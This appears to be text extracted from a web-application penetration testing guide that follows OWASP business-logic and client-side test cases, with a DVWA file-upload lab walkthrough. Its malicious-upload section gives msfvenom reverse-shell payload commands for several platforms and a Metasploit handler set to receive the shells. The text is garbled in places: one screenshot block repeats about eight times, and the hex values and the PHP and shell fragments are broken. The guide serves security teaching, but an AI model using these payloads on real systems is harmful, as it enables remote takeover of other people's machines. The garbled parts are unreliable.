[-] Intermediate Bytes (HEX): 2c482d6433b9d27c
[-] Plain Text: user=admin

** Finished ***
[-] Decrypted value (ASCII): user=cloud
[-] Decrypted value (HEX): 757365723d636c6f75706d666964696e672031
[-] Decrypted value (Base64): dXNlcj1jZG9jcyA2MG8g==

---

Block 1 Results:
[+] New Cipher Text (HEX): 0408ad19d62eb9a93
[+] Intermediate Bytes (HEX): 717bc86beb4fdefe

** Finished ***
[+] Encrypted value is: BAItGdYuupMJA3gl1aF0wAAAAAAAAAA
1. Test Business Logic Data Validation

The application must ensure that only logically valid data can be entered at the front end as well as directly to the server side on an application of system. The front end and the back end of the application should be verifying and validating that the data it has, it using and is passing along is logically valid.

How to Test

- Review the project documentation and use exploratory testing looking for data entry points or hand off points between system or software.
- Once found try to insert logically invalid data into the application/system
- Perform front-end GUI functional valid testing on the application to ensure that the only “valid” values are accepted.
- Using an intercept proxy observe the HTTP-POST/GET looking for places that variables such as cost and quality are passed.
- Verify that input HTTP request and every HTTP response contains a content type header specifying a safe character set (e.g., UTF-8).
- Verify that HTTP headers in both requests and responses contain only printable ASCII characters.
- Verify that the input field have “max-length”.

Test example

Refer
- All Input Validation test cases
- Testing for Account Enumeration and Guessable User Account
- Testing for Bypassing Session Management Schema
- Testing for Exposed Session Variables

2. Test Ability to Forge Requests

How to Test

- Using an intercepting proxy observe the HTTP POST/GET looking for some indication that values are incrementing at a regular interval or are easily guessable.
- If it is found that some value is guessable this value may be changed and one may gain unexpected visibility
- Using an intercepting proxy observe the HTTP POST/GET looking for some indication of hidden features such as debug that can be switched on or activated
- If any are found try to guess and changes these values to get a different application response or behavior

Refer

- Testing for Exposed Session Variables
- Testing for CSRF
- Testing for Account Enumeration and Guessable User Account

3. Test Integrity Checks

How to Test

- Using a proxy capture and HTTP traffic looking for hidden fields / non editable
- If a hidden field is found see how these fields compare with the GUI application and start interrogating this value through the proxy by submitting different data values trying to circumvent the business and manipulate values you were not intended to have access to.
- List components of the application or system that could be edited, for example logs or databases
- For each component identified, try to read, edit or remove its information

Test Example
Refer

- All Input Validation test cases
4. Test for Process Timing

How to Test

- Review the project documentation and use exploratory testing looking for application/system functionality that may be impacted by time. Such as execution time or actions that help users predict a future outcome or allow one to circumvent any part of the business logic or workflow.
- Develop and execute the misuse cases ensuring that attackers can not gain an advantage based on any timing.

Refer

- Testing for Cookies attributes
- Test Session Timeout

5. Test Defense Against Application Misuse

The misuse and invalid use of valid functionality can identify attacks attempting to enumerate the web application, identify weaknesses, and exploit vulnerabilities.

How to test

- All other test cases are relevant

6. Test Upload of Unexpected File Types

Many application’s business processes allow for the upload and manipulation of data that is submitted via files.

How to Test

- Review the project documentation and perform some exploratory testing looking for file types that should be “unsupported” by the application/system.
- Try to upload these “unsupported” files and verify that it are properly rejected.
- If multiple files can be uploaded at once, there must be tests in place to verify that each file is properly evaluated.
- Study the applications logical requirements.
- Prepare a library of files that are “not approved” for upload that may contain files such as: jsp, exe, or html files containing script.
- In the application navigate to the file submission or upload mechanism.
- Submit the “not approved” file for upload and verify that they are properly prevented from uploading.

Test Example

- Basic file upload
Double Extension Injection Technique

- manhnho
WEB APPLICATION PENETRATION TESTING

March 1, 2018

---

192.168.222.136/dvwa/vulnerabilities/upload/

Vulnerability: File Upload

Choose an image to upload:

- Browse...
  2shell.php

- Upload

---

**Request**

<table>
<thead>
<tr>
<th>Raw</th>
<th>Headers</th>
<th>Method</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST</td>
<td>/dvwa/vulnerabilities/upload</td>
<td>✓</td>
<td>200</td>
</tr>
</tbody>
</table>

---

**Response**

<table>
<thead>
<tr>
<th>Raw</th>
<th>Headers</th>
<th>Method</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>✓</td>
<td></td>
<td>✓</td>
<td>200</td>
</tr>
</tbody>
</table>

---

2shell.php was not uploaded.

---

WEB APPLICATION PENETRATION TESTING

March 1, 2018

---

192.168.222.136/dvwa/vulnerabilities/upload/

Vulnerability: File Upload

Choose an image to upload:

- Browse...
  2shell.php

- Upload

---

**Request**

<table>
<thead>
<tr>
<th>Raw</th>
<th>Headers</th>
<th>Method</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST</td>
<td>/dvwa/vulnerabilities/upload</td>
<td>✓</td>
<td>200</td>
</tr>
</tbody>
</table>

---

**Response**

<table>
<thead>
<tr>
<th>Raw</th>
<th>Headers</th>
<th>Method</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>✓</td>
<td></td>
<td>✓</td>
<td>200</td>
</tr>
</tbody>
</table>

---

2shell.php was not uploaded.

---

WEB APPLICATION PENETRATION TESTING

March 1, 2018

---

192.168.222.136/dvwa/vulnerabilities/upload/

Vulnerability: File Upload

Choose an image to upload:

- Browse...
  2shell.php

- Upload

---

**Request**

<table>
<thead>
<tr>
<th>Raw</th>
<th>Headers</th>
<th>Method</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST</td>
<td>/dvwa/vulnerabilities/upload</td>
<td>✓</td>
<td>200</td>
</tr>
</tbody>
</table>

---

**Response**

<table>
<thead>
<tr>
<th>Raw</th>
<th>Headers</th>
<th>Method</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>✓</td>
<td></td>
<td>✓</td>
<td>200</td>
</tr>
</tbody>
</table>

---

2shell.php was not uploaded.

---

WEB APPLICATION PENETRATION TESTING

March 1, 2018

---

192.168.222.136/dvwa/vulnerabilities/upload/

Vulnerability: File Upload

Choose an image to upload:

- Browse...
  2shell.php

- Upload

---

**Request**

<table>
<thead>
<tr>
<th>Raw</th>
<th>Headers</th>
<th>Method</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST</td>
<td>/dvwa/vulnerabilities/upload</td>
<td>✓</td>
<td>200</td>
</tr>
</tbody>
</table>

---

**Response**

<table>
<thead>
<tr>
<th>Raw</th>
<th>Headers</th>
<th>Method</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>✓</td>
<td></td>
<td>✓</td>
<td>200</td>
</tr>
</tbody>
</table>

---

2shell.php was not uploaded.

---

WEB APPLICATION PENETRATION TESTING

March 1, 2018

---

192.168.222.136/dvwa/vulnerabilities/upload/

Vulnerability: File Upload

Choose an image to upload:

- Browse...
  2shell.php

- Upload

---

**Request**

<table>
<thead>
<tr>
<th>Raw</th>
<th>Headers</th>
<th>Method</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST</td>
<td>/dvwa/vulnerabilities/upload</td>
<td>✓</td>
<td>200</td>
</tr>
</tbody>
</table>

---

**Response**

<table>
<thead>
<tr>
<th>Raw</th>
<th>Headers</th>
<th>Method</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>✓</td>
<td></td>
<td>✓</td>
<td>200</td>
</tr>
</tbody>
</table>

---

2shell.php was not uploaded.

---

WEB APPLICATION PENETRATION TESTING

March 1, 2018

---

192.168.222.136/dvwa/vulnerabilities/upload/

Vulnerability: File Upload

Choose an image to upload:

- Browse...
  2shell.php

- Upload

---

**Request**

<table>
<thead>
<tr>
<th>Raw</th>
<th>Headers</th>
<th>Method</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST</td>
<td>/dvwa/vulnerabilities/upload</td>
<td>✓</td>
<td>200</td>
</tr>
</tbody>
</table>

---

**Response**

<table>
<thead>
<tr>
<th>Raw</th>
<th>Headers</th>
<th>Method</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>✓</td>
<td></td>
<td>✓</td>
<td>200</td>
</tr>
</tbody>
</table>

---

2shell.php was not uploaded.

---

WEB APPLICATION PENETRATION TESTING

March 1, 2018

---

192.168.222.136/dvwa/vulnerabilities/upload/

Vulnerability: File Upload

Choose an image to upload:

- Browse...
  2shell.php

- Upload

---

**Request**

<table>
<thead>
<tr>
<th>Raw</th>
<th>Headers</th>
<th>Method</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST</td>
<td>/dvwa/vulnerabilities/upload</td>
<td>✓</td>
<td>200</td>
</tr>
</tbody>
</table>

---

**Response**

<table>
<thead>
<tr>
<th>Raw</th>
<th>Headers</th>
<th>Method</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>✓</td>
<td></td>
<td>✓</td>
<td>200</td>
</tr>
</tbody>
</table>

---

2shell.php was not uploaded.

---

WEB APPLICATION PENETRATION TESTING

March 1, 2018

---

192.168.222.136/dvwa/vulnerabilities/upload/

Vulnerability: File Upload

Choose an image to upload:

- Browse...
  2shell.php

- Upload

---

**Request**

<table>
<thead>
<tr>
<th>Raw</th>
<th>Headers</th>
<th>Method</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST</td>
<td>/dvwa/vulnerabilities/upload</td>
<td>✓</td>
<td>200</td>
</tr>
</tbody>
</table>

---

**Response**

<table>
<thead>
<tr>
<th>Raw</th>
<th>Headers</th>
<th>Method</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>✓</td>
<td></td>
<td>✓</td>
<td>200</td>
</tr>
</tbody>
</table>

---

2shell.php was not uploaded.
Content Type file Upload
# WEB APPLICATION PENETRATION TESTING

**March 1, 2018**

### Vulnerability: File Upload

Choose an image to upload:

- **2shell.php**

---

```
POST /vulnerabilities/upload/ HTTP/1.1
Host: 192.168.222.136

Referer: http://192.168.222.136/vulnerabilities/upload/
Accept: application/octet-stream

Content-Disposition: form-data; name="MAX_FILE_SIZE"

Content-Disposition: form-data; name="uploadedfile"; filename="2shell.php"
Content-Type: application/octet-stream

-----WebKitFormBoundary5rEj6Kk0oYt8T4Qn
Content-Disposition: form-data; name="MAX_FILE_SIZE"

```

```
2shell.php

```

---

```
POST /vulnerabilities/upload/ HTTP/1.1
Host: 192.168.222.136

Referer: http://192.168.222.136/vulnerabilities/upload/
Accept: application/octet-stream

Content-Disposition: form-data; name="uploadedfile"

-----WebKitFormBoundary5rEj6Kk0oYt8T4Qn
Content-Disposition: form-data; name="MAX_FILE_SIZE"

```

```
<?php
 Machin <?php

```

---

```
POST /vulnerabilities/upload/ HTTP/1.1
Host: 192.168.222.136

Referer: http://192.168.222.136/vulnerabilities/upload/
Accept: application/octet-stream

Content-Disposition: form-data; name="uploadedfile"

-----WebKitFormBoundary5rEj6Kk0oYt8T4Qn
Content-Disposition: form-data; name="MAX_FILE_SIZE"

```

```
<?php
 Machin

```

---

```
POST /vulnerabilities/upload/ HTTP/1.1
Host: 192.168.222.136

Referer: http://192.168.222.136/vulnerabilities/upload/
Accept: application/octet-stream

Content-Disposition: form-data; name="uploadedfile"

-----WebKitFormBoundary5rEj6Kk0oYt8T4Qn
Content-Disposition: form-data; name="MAX_FILE_SIZE"

```

```
<?php
 Machin

```

---

```
POST /vulnerabilities/upload/ HTTP/1.1
Host: 192.168.222.136

Referer: http://192.168.222.136/vulnerabilities/upload/
Accept: application/octet-stream

Content-Disposition: form-data; name="uploadedfile"

-----WebKitFormBoundary5rEj6Kk0oYt8T4Qn
Content-Disposition: form-data; name="MAX_FILE_SIZE"

```

```
Null byte Injection

```
root@waswpbwa:/var/www/dvwa/hackable/uploads# ls
lshell.php  dvwa_email.png
root@waswpbwa:/var/www/dvwa/hackable/uploads# ls
lshell.php
```

```
<?php
require_once '/var/www/dvwa/hackable/uploads/lshell.php';
```
Blacklisting File Extensions

- The image has been uploaded.

```html
<br />
<input name="uploaded" type="file" />
<br />
<input type="submit" name="Upload" value="Upload" />
</form>
</pre>

```bash
root@owaspbw:/var/www/dwva/hackable/uploads# ls
1shell.php dwva_email.png
root@owaspbw:/var/www/dwva/hackable/uploads# ls
1shell.php 2shell.php dwva_email.png
root@owaspbw:/var/www/dwva/hackable/uploads# ls
1shell.php 2shell.php 3shell.php dwva_email.png
root@owaspbw:/var/www/dwva/hackable/uploads# ls
1shell.php 2shell.php 3shell.php 4shell.php dwva_email.png
root@owaspbw:/var/www/dwva/hackable/uploads# _
```

Manhno
7. Test Upload of Malicious Files

How to Test

- Review the project documentation and use exploratory testing looking at the application/system to identify what constitutes a “malicious” file in your environment
- Develop or acquire a known “malicious” file
- Using the Metasploit payload generation functionality generates a shellcode as a windows executable using the Metasploit “msfvenom” command
- Try to upload the malicious file to the application/system and verify that it is correctly rejected
- Set up the intercepting proxy to capture the “valid” request for an accepted file
- Send an “invalid” request through with a valid/acceptable file extension and see if the request is accepted or rejected

Related Test Cases

- Test File Extensions Handling for Sensitive Information
- Test Upload of Unexpected File Types

Tools

- Metasploit’s payload generation functionality
- Intercept proxy

Test example

Binaries

Linux

```bash
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
```

Windows

```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
```

Mac

```bash
msfvenom -p osx/x64/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
```

Web Payloads

PHP

```bash
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
```

```bash
cat shell.php | pbcopy & & echo '<?php' | tr -d \"\n\" > shell.php & & pbpaste > shell.php
```

ASP

```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
```

JSP

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
```
Handlers

Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.

```
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.222.154
set LPORT 4444
exploit -j -z
```

Upload and active malicious file, hacker will gain & remote victim’s computer.
Client Side Testing

1. Testing for Client Side URL Redirect

This vulnerability occurs when an application accepts untrusted input that contains an URL value without sanitizing it. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials.

How to Test

- Spider target site
- Filter sitemap by status code such as 3xx [Redirection]
- Analysis results, modify and scan

Test Example
WEB APPLICATION PENETRATION TESTING

March 1, 2018
2. Testing for Clickjacking

Clickjacking is a malicious technique that consist of deceiving a web user into interacting (in most case by clicking) with something different to what the user believes they are interacting with.

How to Test

- Intercept proxy and analyze header (X-Frame-Option)
- Automate Scanner

Tools

- BurpSuite
Test Example
3. Test Cross Origin Resource Sharing

Cross Origin Resource Sharing or CORS is a mechanism that enables a web browser to perform “cross-domain” requests using the XMLHttpRequest L2 API in a controlled manner.

How to Test

- Origin & Access-Control-Allow-Origin: insecure configuration as ‘*’ wildcard as value of the Access-Control-Allow-Origin (all domains are allowed)
- Access-Control-Request-Method & Access-Control-Allow-Method (must have in response header by the server to describe the methods the clients are allowed to use)
- Access-Control-Request-Header & Access-Control-Allow-Headers: determine which header can be used to perform a cross-origin request
- Access-Control-Allow-Credential: this header as part of preflight request indicates that the final request can include user credential
- Input validation

Test Example

- Using automate scan tool & intercept proxy tools

<table>
<thead>
<tr>
<th>Issue Definitions</th>
</tr>
</thead>
<tbody>
<tr>
<td>This listing contains the definitions of all issues that can be detected by Burp Scanner.</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Name</th>
<th>Typical severity</th>
<th>Type index</th>
</tr>
</thead>
<tbody>
<tr>
<td>Cross-origin resource sharing</td>
<td>Information</td>
<td>U9UJU9UJ</td>
</tr>
<tr>
<td>Cross-origin resource sharing: all subdomains trusted</td>
<td>Low</td>
<td>0x00200603</td>
</tr>
<tr>
<td>Cross-origin resource sharing: arbitrary origin trusted</td>
<td>High</td>
<td>0x00200601</td>
</tr>
<tr>
<td>Cross-origin resource sharing: unencrypted origin trusted</td>
<td>Low</td>
<td>0x00200602</td>
</tr>
</tbody>
</table>

4. Testing for Spoofable Client IP address

If an application trusts an HTTP request header like X-Forwarded-For to accurately specify the remote IP address of the connecting client, then malicious clients can spoof their IP address. This behavior does not necessarily constitute a security vulnerability, however some applications use client IP addresses to enforce access controls and rate limits. For example, an application might expose administrative functionality only to clients connecting from the local IP address of the server, or allow a certain number of failed login attempts from each unique IP address. Consider reviewing relevant functionality to determine whether this might be the case.

How to Test

- Intercept proxy
- Make sure request header do not import X-Forwarded-For, True-Client-IP, and X-Real-IP
About Authors:

I am Manh Pham Tien, a very young researcher passionate in penetration testing, web security / exploit, cryptography & network security.